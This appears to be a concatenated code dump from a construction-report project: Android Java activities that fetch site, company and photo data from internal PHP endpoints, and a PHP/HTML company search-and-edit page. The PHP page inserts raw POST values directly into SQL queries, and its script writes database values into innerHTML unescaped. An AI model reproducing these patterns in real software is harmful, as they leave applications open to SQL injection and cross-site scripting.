checkOverview(p_overview, conResult.toString());
System.out.println(g_overview);
//会社IDから施工会社情報の取得
conResult = new StringBuffer();
try {
URL url = new URL(params2_url);
con = (HttpURLConnection) url.openConnection();
con.setRequestMethod("POST");
con.setDoInput(true);
con.setDoOutput(true);
OutputStream outputStream = con.getOutputStream();
BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(outputStream, "UTF-8"));
//POSTデータの編集
//comment[i] = editComment[i].getText().toString();
String post_data = URLEncoder.encode("company_id", "UTF-8") + "=" + URLEncoder.encode(u_id, "UTF-8");
//URLEncoder.encode("users_id", "UTF-8") + "=" + URLEncoder.encode(userId, "UTF-8") + "&" +
System.out.println(post_data);
bufferedWriter.write(post_data);
bufferedWriter.flush();
bufferedWriter.close();
outputStream.close();
InputStream inputStream = con.getInputStream();
String encoding = con.getContentEncoding();
if (null == encoding) {
encoding = "UTF-8";
}
InputStreamReader inReader = new InputStreamReader(inputStream, encoding);
BufferedReader bufferedReader = new BufferedReader(inReader);
String line = bufferedReader.readLine();
while (line != null) {
conResult.append(line);
line = bufferedReader.readLine();
}
System.out.println(conResult.toString());
bufferedReader.close();
inputStream.close();
con.disconnect();
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
Pattern p_companyName= Pattern.compile(regex_company_name);
checkCompanyName(p_companyName, conResult.toString());
System.out.println(u_name);
Pattern p_companyAddress= Pattern.compile(regex_street_address);
checkCompanyAddress(p_companyAddress, conResult.toString());
System.out.println(u_address);
Pattern p_tel= Pattern.compile(regex_tel);
checkTel(p_tel, conResult.toString());
System.out.println(u_tel);
//レポート名から写真名、コメントの取得
conResult = new StringBuffer();
try {
URL url = new URL(params3_url);
con = (HttpURLConnection) url.openConnection();
con.setRequestMethod("POST");
con.setDoInput(true);
con.setDoOutput(true);
OutputStream outputStream = con.getOutputStream();
BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(outputStream, "UTF-8"));
String post_data = URLEncoder.encode("reports_name", "UTF-8") + "=" + URLEncoder.encode(selectedReport, "UTF-8");
System.out.println(post_data);
bufferedWriter.write(post_data);
bufferedWriter.flush();
bufferedWriter.close();
outputStream.close();
InputStream inputStream = con.getInputStream();
String encoding = con.getContentEncoding();
if (null == encoding) {
encoding = "UTF-8";
}
InputStreamReader inReader = new InputStreamReader(inputStream, encoding);
BufferedReader bufferedReader = new BufferedReader(inReader);
String line = bufferedReader.readLine();
while (line != null) {
conResult.append(line);
line = bufferedReader.readLine();
}
System.out.println(conResult.toString());
bufferedReader.close();
inputStream.close();
con.disconnect();
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
//結果の取得
c_comment = new ArrayList<>();
c_pic_name = new ArrayList<>();
Pattern p_pictures_id= Pattern.compile(regex_pictures_name);
checkPicturesName(p_pictures_id, conResult.toString());
System.out.println(c_pic_name);
Pattern p_comment= Pattern.compile(regex_comment);
checkComment(p_comment, conResult.toString());
System.out.println(c_comment);
//画像bitmapの取得
c_pic = new ArrayList<>();
int i = 0;
Bitmap bmp = null;
while (i < c_pic_name.size()) {
//selectFlag.add(0);
String address = "http://10.20.170.52/sample/images/" + c_pic_name.get(i);
System.out.println(address);
HttpURLConnection urlConnection = null;
try {
URL url = new URL(address);
// HttpURLConnection インスタンス生成
urlConnection = (HttpURLConnection) url.openConnection();
// タイムアウト設定
urlConnection.setReadTimeout(10000);
urlConnection.setConnectTimeout(20000);
// リクエストメソッド
urlConnection.setRequestMethod("GET");
// リダイレクトを自動で許可しない設定
urlConnection.setInstanceFollowRedirects(false);
// 接続
urlConnection.connect();
int resp = urlConnection.getResponseCode();
switch (resp) {
case HttpURLConnection.HTTP_OK:
try (InputStream ips = urlConnection.getInputStream()) {
bmp = BitmapFactory.decodeStream(ips);
c_pic.add(bmp);
ips.close();
} catch (IOException e) {
e.printStackTrace();
}
break;
case HttpURLConnection.HTTP_UNAUTHORIZED:
break;
default:
break;
}
} catch (Exception e) {
Log.d("debug", "downloadImage error");
e.printStackTrace();
} finally {
if (urlConnection != null) {
urlConnection.disconnect();
}
}
i++;
}
System.out.println(c_pic);
//画像名から施工場所ID、撮影日を取得
c_date = new ArrayList<>();
c_id = new ArrayList<>();
for(int k = 0; k < c_pic_name.size(); k++){
conResult = new StringBuffer();
try {
URL url = new URL(params4_url);
con = (HttpURLConnection) url.openConnection();
con.setRequestMethod("POST");
con.setDoInput(true);
con.setDoOutput(true);
OutputStream outputStream = con.getOutputStream();
BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(outputStream, "UTF-8"));
String post_data = URLEncoder.encode("pictures_name", "UTF-8") + "=" + URLEncoder.encode(c_pic_name.get(k), "UTF-8");
System.out.println(post_data);
bufferedWriter.write(post_data);
bufferedWriter.flush();
bufferedWriter.close();
outputStream.close();
InputStream inputStream = con.getInputStream();
String encoding = con.getContentEncoding();
if (null == encoding) {
encoding = "UTF-8";
}
InputStreamReader inReader = new InputStreamReader(inputStream, encoding);
BufferedReader bufferedReader = new BufferedReader(inReader);
String line = bufferedReader.readLine();
while (line != null) {
conResult.append(line);
line = bufferedReader.readLine();
}
System.out.println(conResult.toString());
bufferedReader.close();
inputStream.close();
con.disconnect();
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
Pattern p_place_id= Pattern.compile(regex_place_id);
checkPlaceId(p_place_id, conResult.toString());
System.out.println(c_id);
Pattern p_date= Pattern.compile(regex_date);
checkDate(p_date, conResult.toString());
System.out.println(c_date);
}
//施工場所IDから施工場所名を取得
c_name = new ArrayList<>();
for(int k = 0; k < c_id.size(); k++){
conResult = new StringBuffer();
try {
URL url = new URL(params5_url);
con = (HttpURLConnection) url.openConnection();
con.setRequestMethod("POST");
con.setDoInput(true);
con.setDoOutput(true);
OutputStream outputStream = con.getOutputStream();
BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(outputStream, "UTF-8"));
String post_data = URLEncoder.encode("report_places_id", "UTF-8") + "=" + URLEncoder.encode(c_id.get(k), "UTF-8");
System.out.println(post_data);
bufferedWriter.write(post_data);
bufferedWriter.flush();
bufferedWriter.close();
outputStream.close();
InputStream inputStream = con.getInputStream();
String encoding = con.getContentEncoding();
if (null == encoding) {
encoding = "UTF-8";
}
InputStreamReader inReader = new InputStreamReader(inputStream, encoding);
BufferedReader bufferedReader = new BufferedReader(inReader);
String line = bufferedReader.readLine();
while (line != null) {
conResult.append(line);
line = bufferedReader.readLine();
}
System.out.println(conResult.toString());
bufferedReader.close();
inputStream.close();
con.disconnect();
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
Pattern p_place= Pattern.compile(regex_place);
checkPlace(p_place, conResult.toString());
System.out.println(c_name);
}
return null;
}
@Override
public void onPostExecute(String string){
ver = new LinearLayout(showCreatedReport.this);
ver.setGravity(Gravity.CENTER);
ver.setOrientation(LinearLayout.VERTICAL);
t1 = new TextView(showCreatedReport.this);
t1.setText("現場情報");
t1.setBackground(drawable0);
t1.setGravity(Gravity.CENTER);
ver.addView(t1, new LinearLayout.LayoutParams(
LinearLayout.LayoutParams.MATCH_PARENT,
LinearLayout.LayoutParams.WRAP_CONTENT
));
h1 = new LinearLayout(showCreatedReport.this);
h1.setOrientation(LinearLayout.HORIZONTAL);
t2 = new TextView(showCreatedReport.this);
t2.setText("現場名");
t2.setBackground(drawable1);
t2.setGravity(Gravity.CENTER);
t3 = new TextView(showCreatedReport.this);
t3.setText(g_name);
t3.setBackground(drawable2);
h1.addView(t2, new LinearLayout.LayoutParams(
0,
LinearLayout.LayoutParams.WRAP_CONTENT,
1
));
h1.addView(t3, new LinearLayout.LayoutParams(
0,
LinearLayout.LayoutParams.WRAP_CONTENT,
3
));
h2 = new LinearLayout(showCreatedReport.this);
h2.setOrientation(LinearLayout.HORIZONTAL);
t4 = new TextView(showCreatedReport.this);
t4.setText("所在地");
t4.setBackground(drawable1);
t4.setGravity(Gravity.CENTER);
t5 = new TextView(showCreatedReport.this);
t5.setText(g_address);
t5.setBackground(drawable2);
h2.addView(t4, new LinearLayout.LayoutParams(
0,
LinearLayout.LayoutParams.WRAP_CONTENT,
1
));
h2.addView(t5, new LinearLayout.LayoutParams(
0,
LinearLayout.LayoutParams.WRAP_CONTENT,
3
));
h3 = new LinearLayout(showCreatedReport.this);
h3.setOrientation(LinearLayout.HORIZONTAL);
t6 = new TextView(showCreatedReport.this);
t6.setText("概要");
t6.setBackground(drawable1);
t6.setGravity(Gravity.CENTER);
t7 = new TextView(showCreatedReport.this);
t7.setText(g_overview);
t7.setBackground(drawable2);
h3.addView(t6, new LinearLayout.LayoutParams(
0,
LinearLayout.LayoutParams.WRAP_CONTENT,
1
));
h3.addView(t7, new LinearLayout.LayoutParams(
0,
LinearLayout.LayoutParams.WRAP_CONTENT,
3
));
view1 = new View(showCreatedReport.this);
view1.setBackgroundColor(Color.LTGRAY);
view2 = new View(showCreatedReport.this);
view2.setBackgroundColor(Color.LTGRAY);
ver.addView(h1);
ver.addView(h2);
ver.addView(h3);
ver.addView(view1, new LinearLayout.LayoutParams(
ViewGroup.LayoutParams.MATCH_PARENT,
30
));
t8 = new TextView(showCreatedReport.this);
t8.setText("施工者情報");
t8.setBackground(drawable0);
t8.setGravity(Gravity.CENTER);
ver.addView(t8, new LinearLayout.LayoutParams(
LinearLayout.LayoutParams.MATCH_PARENT,
LinearLayout.LayoutParams.WRAP_CONTENT
));
h4 = new LinearLayout(showCreatedReport.this);
h4.setOrientation(LinearLayout.HORIZONTAL);
t9 = new TextView(showCreatedReport.this);
t9.setText("会社名");
t9.setBackground(drawable1);
t9.setGravity(Gravity.CENTER);
t10 = new TextView(showCreatedReport.this);
t10.setText(u_name);
t10.setBackground(drawable2);
h4.addView(t9, new LinearLayout.LayoutParams(
0,
LinearLayout.LayoutParams.WRAP_CONTENT,
1
));
h4.addView(t10, new LinearLayout.LayoutParams(
0,
LinearLayout.LayoutParams.WRAP_CONTENT,
3
));
h5 = new LinearLayout(showCreatedReport.this);
h5.setOrientation(LinearLayout.HORIZONTAL);
t11 = new TextView(showCreatedReport.this);
t11.setText("住所");
t11.setBackground(drawable1);
t11.setGravity(Gravity.CENTER);
t12 = new TextView(showCreatedReport.this);
t12.setText(u_address);
t12.setBackground(drawable2);
h5.addView(t11, new LinearLayout.LayoutParams(
0,
LinearLayout.LayoutParams.WRAP_CONTENT,
1
));
h5.addView(t12, new LinearLayout.LayoutParams(
0,
LinearLayout.LayoutParams.WRAP_CONTENT,
3
));
h7 = new LinearLayout(showCreatedReport.this);
h7.setOrientation(LinearLayout.HORIZONTAL);
t15 = new TextView(showCreatedReport.this);
t15.setText("報告者");
t15.setBackground(drawable1);
t15.setGravity(Gravity.CENTER);
t16 = new TextView(showCreatedReport.this);
t16.setText(u_reporter);
t16.setBackground(drawable2);
h7.addView(t15, new LinearLayout.LayoutParams(
0,
LinearLayout.LayoutParams.WRAP_CONTENT,
1
));
h7.addView(t16, new LinearLayout.LayoutParams(
0,
LinearLayout.LayoutParams.WRAP_CONTENT,
3
));
h6 = new LinearLayout(showCreatedReport.this);
h6.setOrientation(LinearLayout.HORIZONTAL);
t13 = new TextView(showCreatedReport.this);
t13.setText("TEL");
t13.setBackground(drawable1);
t13.setGravity(Gravity.CENTER);
t14 = new TextView(showCreatedReport.this);
t14.setText(u_tel);
t14.setBackground(drawable2);
h6.addView(t13, new LinearLayout.LayoutParams(
0,
LinearLayout.LayoutParams.WRAP_CONTENT,
1
));
h6.addView(t14, new LinearLayout.LayoutParams(
0,
LinearLayout.LayoutParams.WRAP_CONTENT,
3
));
t17 = new TextView(showCreatedReport.this);
//t17.setText("施工状況");
String text = "施工箇所" + c_name.get(0);
t17.setText(text);
t17.setBackground(drawable0);
t17.setGravity(Gravity.CENTER);
h8 = new LinearLayout(showCreatedReport.this);
h8.setOrientation(LinearLayout.HORIZONTAL);
t18 = new TextView(showCreatedReport.this);
t18.setText("施工箇所");
t18.setBackground(drawable1);
t18.setGravity(Gravity.CENTER);
t19 = new TextView(showCreatedReport.this);
t19.setText(c_name.get(0));
t19.setBackground(drawable2);
h8.addView(t18,new LinearLayout.LayoutParams(
0,
LinearLayout.LayoutParams.WRAP_CONTENT,
1));
h8.addView(t19,new LinearLayout.LayoutParams(
0,
LinearLayout.LayoutParams.WRAP_CONTENT,
3));
ver.addView(h4);
ver.addView(h5);
ver.addView(h6);
ver.addView(h7);
ver.addView(view2, new LinearLayout.LayoutParams(
ViewGroup.LayoutParams.MATCH_PARENT,
30
));
ver.addView(t17, new LinearLayout.LayoutParams(
ViewGroup.LayoutParams.MATCH_PARENT,
ViewGroup.LayoutParams.WRAP_CONTENT
));
//ver.addView(h8);
int num = c_id.size();
hor1 = new LinearLayout[num];
hor2 = new LinearLayout[num];
hor3 = new LinearLayout[num];
textView1 = new TextView[num];
textView2 = new TextView[num];
textView3 = new TextView[num];
textView4 = new TextView[num];
textView5 = new TextView[num];
textView6 = new TextView[num];
view = new View[num];
imageView = new ImageView[num];
for(int j = 0; j < num; j++){
hor1[j] = new LinearLayout(showCreatedReport.this);
hor1[j].setOrientation(LinearLayout.HORIZONTAL);
hor2[j] = new LinearLayout(showCreatedReport.this);
hor2[j].setOrientation(LinearLayout.HORIZONTAL);
hor3[j] = new LinearLayout(showCreatedReport.this);
hor3[j].setOrientation(LinearLayout.HORIZONTAL);
textView1[j] = new TextView(showCreatedReport.this);
textView2[j] = new TextView(showCreatedReport.this);
textView3[j] = new TextView(showCreatedReport.this);
textView4[j] = new TextView(showCreatedReport.this);
textView5[j] = new TextView(showCreatedReport.this);
textView6[j] = new TextView(showCreatedReport.this);
view[j] = new View(showCreatedReport.this);
imageView[j] = new ImageView(showCreatedReport.this);
/*textView1[j].setText("施工箇所");
textView1[j].setBackground(drawable1);
textView1[j].setGravity(Gravity.CENTER);
textView2[j].setText(c_name.get(j));
textView2[j].setBackground(drawable2);
hor1[j].addView(textView1[j],new LinearLayout.LayoutParams(
0,
LinearLayout.LayoutParams.WRAP_CONTENT,
1));
hor1[j].addView(textView2[j],new LinearLayout.LayoutParams(
0,
LinearLayout.LayoutParams.WRAP_CONTENT,
3));*/
textView3[j].setText("撮影日時");
textView3[j].setBackground(drawable1);
textView3[j].setGravity(Gravity.CENTER);
textView4[j].setText(c_date.get(j));
textView4[j].setBackground(drawable2);
hor2[j].addView(textView3[j],new LinearLayout.LayoutParams(
0,
LinearLayout.LayoutParams.WRAP_CONTENT,
1));
hor2[j].addView(textView4[j],new LinearLayout.LayoutParams(
0,
LinearLayout.LayoutParams.WRAP_CONTENT,
3));
textView5[j].setText("コメント");
textView5[j].setBackground(drawable1);
textView5[j].setGravity(Gravity.CENTER);
textView6[j].setText(c_comment.get(j));
textView6[j].setBackground(drawable2);
hor3[j].addView(textView5[j],new LinearLayout.LayoutParams(
0,
LinearLayout.LayoutParams.WRAP_CONTENT,
1));
hor3[j].addView(textView6[j],new LinearLayout.LayoutParams(
0,
LinearLayout.LayoutParams.WRAP_CONTENT,
3));
imageView[j].setImageBitmap(c_pic.get(j));
imageView[j].setPadding(10,10,10,10);
//ver.addView(hor1[j]);
ver.addView(hor2[j]);
ver.addView(hor3[j]);
ver.addView(imageView[j]);
if(num-1 != j){
view[j].setBackgroundColor(Color.LTGRAY);
ver.addView(view[j], new LinearLayout.LayoutParams(
ViewGroup.LayoutParams.MATCH_PARENT,
30
));
}
}
main.addView(ver);
}
}
private static void checkReporter(Pattern p, String target) {
Matcher m = p.matcher(target);
while (m.find()) {
u_reporter = m.group().substring(13, m.group().length() - 2);
//System.out.println(m.group());
}
}
private static void checkRProjectsName(Pattern p, String target) {
Matcher m = p.matcher(target);
while (m.find()) {
g_name = m.group().substring(18, m.group().length() - 2);
//System.out.println(m.group());
}
}
private static void checkProjectsAddress(Pattern p, String target) {
Matcher m = p.matcher(target);
while (m.find()) {
g_address = m.group().substring(28, m.group().length() - 2);
//System.out.println(m.group());
}
}
private static void checkOverview(Pattern p, String target) {
Matcher m = p.matcher(target);
while (m.find()) {
g_overview = m.group().substring(13, m.group().length() - 2);
//System.out.println(m.group());
}
}
private static void checkCompanyName(Pattern p, String target) {
Matcher m = p.matcher(target);
while (m.find()) {
u_name = m.group().substring(19, m.group().length() - 2);
//System.out.println(m.group());
}
}
private static void checkCompanyAddress(Pattern p, String target) {
Matcher m = p.matcher(target);
while (m.find()) {
u_address = m.group().substring(19, m.group().length() - 2);
//System.out.println(m.group());
}
}
private static void checkTel(Pattern p, String target) {
Matcher m = p.matcher(target);
while (m.find()) {
u_tel = m.group().substring(8, m.group().length() - 2);
//System.out.println(m.group());
}
}
private static void checkComment(Pattern p, String target) {
Matcher m = p.matcher(target);
while (m.find()) {
c_comment.add(m.group().substring(12, m.group().length() - 2));
//System.out.println(m.group());
}
}
private static void checkPicturesName(Pattern p, String target) {
Matcher m = p.matcher(target);
while (m.find()) {
c_pic_name.add(m.group().substring(16, m.group().length() - 2));
//System.out.println(m.group());
}
}
private static void checkPlaceId(Pattern p, String target) {
Matcher m = p.matcher(target);
while (m.find()) {
c_id.add(m.group().substring(20, m.group().length() - 2));
//System.out.println(m.group());
}
}
private static void checkDate(Pattern p, String target) {
Matcher m = p.matcher(target);
while (m.find()) {
c_date.add(m.group().substring(9, m.group().length() - 2));
//System.out.println(m.group());
}
}
private static void checkPlace(Pattern p, String target) {
Matcher m = p.matcher(target);
while (m.find()) {
c_name.add(m.group().substring(22, m.group().length() - 2));
//System.out.println(m.group());
}
}
}
<file_sep><?php
$row_array_company = array();
$row_array_address = array();
$row_array_TEL = array();
//ポスト情報の確認
if(isset($_POST['search_pro'])){
require "conn.php";
$company = $_POST["company"];
$address = $_POST["address"];
$TEL = $_POST["TEL"];
//全部なし
if($company =="" && $address == "" && $TEL == ""){
$mysql_qry = "select * from companies_information_1;";
}else if($company !="" && $address == "" && $TEL == ""){
$str_sql = "where companies_name like "."'%$company%';";
$mysql_qry = "select * from companies_information_1 ".$str_sql;
}else if($company =="" && $address != "" && $TEL == ""){
$str_sql = "where street_address like "."'%$address%';";
$mysql_qry = "select * from companies_information_1 ".$str_sql;
}else if($company =="" && $address == "" && $TEL != ""){
$str_sql = "where tel like "."'%$TEL%';";
$mysql_qry = "select * from companies_information_1 ".$str_sql;
}else if($company !="" && $address != "" && $TEL == ""){
$str_sql = "where companies_name like "."'%$company%' or street_address like "."'%$address%';";
$mysql_qry = "select * from companies_information_1 ".$str_sql;
}else if($company =="" && $address != "" && $TEL != ""){
$str_sql = "where street_address like "."'%$address%' or tel like "."'%$TEL%';";
$mysql_qry = "select * from companies_information_1 ".$str_sql;
}else if($company !="" && $address == "" && $TEL != ""){
$str_sql = "where companies_name like "."'%$company%' or tel like "."'%$TEL%';";
$mysql_qry = "select * from companies_information_1 ".$str_sql;
}else if($company !="" && $address != "" && $TEL != ""){
$str_sql = "where companies_name like "."'%$company%'or street_address like "."'%$address%' or tel like "."'%$TEL%';";
$mysql_qry = "select * from companies_information_1 ".$str_sql;
//print_r($mysql_qry);
}
$result = mysqli_query($conn, $mysql_qry);
if(mysqli_num_rows($result) > 0){
$i = 0;
while($row = mysqli_fetch_assoc($result)){
//$row_array_project_id[$i] = $row['projects_id'];
$row_array_company[$i] = $row['companies_name'];
$row_array_address[$i] = $row['street_address'];
$row_array_TEL[$i] = $row['tel'];
//print_r($row_array_company[$i]);
$i++;
}
}
}
$json_array_company = json_encode($row_array_company);
$json_array_address = json_encode($row_array_address);
$json_array_TEL = json_encode($row_array_TEL);
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>編集現場選択</title>
<link rel="stylesheet" href = "style.css">
</head>
<body>
<main>
<div class="main-container">
<div class="sidebar">
<h1>menu</h1>
<ul class="subnav">
<li>現場情報管理</li>
<li><a href="p_entry.php" >-現場登録</a></li>
<li><a href="p_edit.php" >-現場編集</a></li>
<li>施工会社管理</li>
<li><a href="c_entry.php">-施工会社登録</a></li>
<li><a href="c_edit.php" style="background-color:gray">-施工会社/ユーザ編集</a></li>
<li>施工状況確認</li>
<li><a href="select_report.php">-報告書確認</a></li>
</ul>
</div>
<div class="maincol">
<div class="maincol-container">
<h2>会社情報を変更する会社を選択してください。</h2>
<p>
<form action="c_edit.php" method = "post">
会社名<input type = "text" name = "company" value = ""><br />
住所<input type ="text" name="address" value = ""><br />
電話番号<input type ="text" name="TEL" value = ""><br />
<input type = "submit" id = "search_pro" name="search_pro" value = "検索">
</form>
</p>
<form id="pro_form" action="p_edit_company.php" method = "post">
<table id = "pro_info" name = "table_com">
<tr>
<th style="WIDTH: 50px" id="no">No</th>
<th style="WIDTH: 200px" id="company_table">会社名</th>
<th style="WIDTH: 200px" id="address_table">住所</th>
<th style="WIDTH: 200px" id="TEL_table">電話番号</th>
<th style="WIDTH: 100px" id="editButton1"></th>
<th style="WIDTH: 100px" id="editButton2"></th>
</tr>
</table>
<!--<input type = "button" id = "pro_button" name="editpro" value = "現場編集" onclick="editpro()">-->
</form>
</div>
</div>
</div>
</main>
<script type="text/javascript">
if(<?php echo $json_array_company; ?> != ""){
//テーブル表示
//phpから配列の取得
var array_company = <?php echo $json_array_company; ?>;
var array_address = <?php echo $json_array_address; ?>;
var array_TEL = <?php echo $json_array_TEL; ?>;
//テーブル情報
var table = document.getElementById("pro_info");
var tableLength = array_company.length;
var cell1 = [];
var cell2 = [];
var cell3 = [];
var cell4 = [];
var cell5 = [];
var cell6 = [];
//会社名
for(var j = 0; j < tableLength; j++){
var row = table.insertRow(-1);
cell1.push(row.insertCell(-1));
cell2.push(row.insertCell(-1));
cell3.push(row.insertCell(-1));
cell4.push(row.insertCell(-1));
cell5.push(row.insertCell(-1));
cell6.push(row.insertCell(-1));
cell1[j].innerHTML = table.rows.length-1;
cell2[j].innerHTML = array_company[j];
cell2[j].id = j + 1 +"company";
cell3[j].innerHTML = array_address[j];
cell3[j].value = "address";
cell4[j].innerHTML = array_TEL[j];
cell4[j].value = "TEL";
cell5[j].innerHTML = '<input type = "button" value = "会社情報編集" onclick="change_company_info(this)"/>';
cell6[j].innerHTML = '<input type = "button" value = "ユーザー情報編集" onclick="change_user_info(this)"/>';
//cell4[j].innerHTML = '<input type = "submit" id = "p_project" name="p_project" value = "編集">';
}
}
</script>
<script>
function change_company_info(tr){
var row = tr.parentNode.parentNode;
//console.log(row.cells[0].innerHTML);
var no = row.cells[0].innerHTML;
var com = row.cells[1].innerHTML;
var add = row.cells[2].innerHTML;
var tel = row.cells[3].innerHTML;
//"name="+p_name+"&address="+p_address+"&overview="+p_overview;
var param = "com="+com+"&add="+add+"&tel="+tel+"&no="+no;
console.log(row.cells[1].id);
window.open("c_edit_company_info.php?" + param, "",'width=400, height=300');
}
function change_user_info(tr){
var row = tr.parentNode.parentNode;
var no = row.cells[0].innerHTML;
var com = row.cells[1].innerHTML;
var add = row.cells[2].innerHTML;
var tel = row.cells[3].innerHTML;
//"name="+p_name+"&address="+p_address+"&overview="+p_overview;
var param = "com="+com+"&add="+add+"&tel="+tel+"&no="+no;
console.log(row.cells[1].id);
window.open("c_edit_company_user_info.php?" + param, "",'width=600, height=400');
}
</script>
</body>
</html><file_sep>package com.example.pdfview;
import androidx.annotation.NonNull;
import androidx.appcompat.app.AlertDialog;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import android.Manifest;
import android.app.ProgressDialog;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.AsyncTask;
import android.os.Build;
import android.os.Bundle;
import android.os.Environment;
import android.view.View;
import android.webkit.MimeTypeMap;
import android.widget.AdapterView;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.EditText;
import android.widget.LinearLayout;
import android.widget.Spinner;
import android.widget.TextView;
import com.nbsp.materialfilepicker.MaterialFilePicker;
import com.nbsp.materialfilepicker.ui.FilePickerActivity;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLEncoder;
import java.util.ArrayList;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import okhttp3.MediaType;
import okhttp3.MultipartBody;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.RequestBody;
import okhttp3.Response;
public class MyPage_User extends AppCompatActivity {
//public String urlProjectName = "http://192.168.3.4/sample/downloadPDF.php";
public String urlProjectName = "http://10.20.170.52/sample/getProjectName.php";
public String urlFileName = "http://10.20.170.52/sample/getFileName.php";
public String insertPDFInformation = "http://10.20.170.52/sample/insert_pdf_information.php";
public String insertUsersInformation = "http://10.20.170.52/sample/insert_users_information.php";
public String insertProjectsInformation = "http://10.20.170.52/sample/insert_projects_information.php";
public String urlPDF = "http://10.20.170.52/sample/pdf/sampleProject1/lowcarbon05.pdf";
public static ArrayList<String> projectName = new ArrayList<>();
public static ArrayList<String> projectId = new ArrayList<>();
public static ArrayList<String> fileName;
public static ArrayList<String> pdfId = new ArrayList<>();
public static ArrayList<String> path = new ArrayList<>();
//初期表示用
Spinner spinner;
Spinner spinnerFile;
//画面遷移時のパラメータ
public static String paramFileName;
//public String uplode = "http://10.20.170.52/sample/uploadPDF.php";
public Button button;
//ユーザ登録機能用
String editUser,editPass,editPer;
//プロジェクト登録用
String editProjectName;
//図面登録機能用
Spinner spinnerForInsertPDF;
String editProjectPermission;
String spinnerInfo;//選択されたプロジェクト名の取得
String filesNameForInsert;
String pathForInsert;
public static String pdf_id;
public static String projects_id;
//事前情報の取得
String regex_projectName = "\"projects_name\":.+?\",";
String regex_projectId = "\"projects_id\":.+?\",";
String regex_fileName = "\"pdf_name\":.+?\",";
String regex_pdfId = "\"pdf_id\":.+?\",";
String regex_path = "\"path\":.+?F\"";
//プロジェクト名を保存
public static String selectedProjects;
int sign = 0;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_my_page__user);
TextView textViewUser = (TextView)findViewById(R.id.user);
textViewUser.setText("User: " + MainActivity.userId);
//spinnerの定義
spinner = findViewById(R.id.spinner);
spinnerFile = findViewById(R.id.spinnerFile);
MyPage_User.getPDFInfo gp = new MyPage_User.getPDFInfo();
gp.execute(urlProjectName);
// リスナーを登録
spinner.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() {
// アイテムが選択された時
@Override
public void onItemSelected(AdapterView<?> parent,
View view, int position, long id) {
Spinner spinner = (Spinner)parent;
String item = (String)spinner.getSelectedItem();
MyPage_User.getPDFInfo gp = new MyPage_User.getPDFInfo();
System.out.println("--------start----------");
gp.execute(urlFileName, item);
}
// アイテムが選択されなかった
public void onNothingSelected(AdapterView<?> parent) {
//
}
});
button = (Button) findViewById(R.id.upDate);
if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.M){
if(ActivityCompat.checkSelfPermission(this, Manifest.permission.READ_EXTERNAL_STORAGE)
!= PackageManager.PERMISSION_GRANTED){
requestPermissions(new String[]{Manifest.permission.READ_EXTERNAL_STORAGE}, 100);
return;
}
}
//enable_button();
}
/*private void enable_button(){
button.setOnClickListener(new View.OnClickListener(){
@Override
public void onClick(View view){
final EditText editTextProject = new EditText(MyPage_User.this);
editTextProject.setHint("権限(1、2、3)");
spinnerForInsertPDF = new Spinner(MyPage_User.this);
LinearLayout layout = new LinearLayout(MyPage_User.this);
ArrayAdapter<String> arrayAdapter = new ArrayAdapter<String>(MyPage_User.this,
android.R.layout.simple_spinner_item, projectName);//Collections.singletonList(projectName.get(0)));
arrayAdapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
System.out.println("--------test------"+projectName);
spinnerForInsertPDF.setAdapter(arrayAdapter);
layout.setOrientation(LinearLayout.VERTICAL);
layout.addView(spinnerForInsertPDF);
layout.addView(editTextProject);
AlertDialog.Builder builder = new AlertDialog.Builder(MyPage_User.this);
builder.setMessage("プロジェクトを選択し、権限を入力してください")
.setView(layout)
.setPositiveButton("OK", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialogInterface, int i) {
//権限情報の取得
editProjectPermission = editTextProject.getText().toString();
spinnerInfo = spinner.getSelectedItem().toString();
System.out.println("##########"+spinnerInfo);
System.out.println("###########"+editProjectPermission);
new MaterialFilePicker()
.withActivity(MyPage_User.this)
.withRequestCode(10)
.start();
}
})
.setNegativeButton("キャンセル", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialogInterface, int i) {
}
})
.show();
}
});
}
*/
@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults){
if(requestCode == 100 && (grantResults[0] == PackageManager.PERMISSION_GRANTED)){
//enable_button();
}else{
if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.M){
requestPermissions(new String[]{Manifest.permission.READ_EXTERNAL_STORAGE},100);
}
}
}
ProgressDialog progress;
@Override
public void onActivityResult(int requestCode, int resultCode, final Intent data) {
super.onActivityResult(requestCode, resultCode, data);
sign = 0;
if (requestCode == 10 && resultCode == RESULT_OK) {
progress = new ProgressDialog(MyPage_User.this);
progress.setTitle("Uploading");
progress.setMessage("Please wait...");
progress.show();
File f = new File(data.getStringExtra(FilePickerActivity.RESULT_FILE_PATH));
//System.out.println(f);
//Insert用のファイル名を格納する
filesNameForInsert = f.getName();
System.out.println(f.getName());
String content_type = getMimeType(f.getPath());
String file_path = f.getAbsolutePath();
System.out.println(file_path);
pathForInsert = file_path;
MyPage_User.getPDFInfo gp = new MyPage_User.getPDFInfo();
gp.execute(insertPDFInformation);
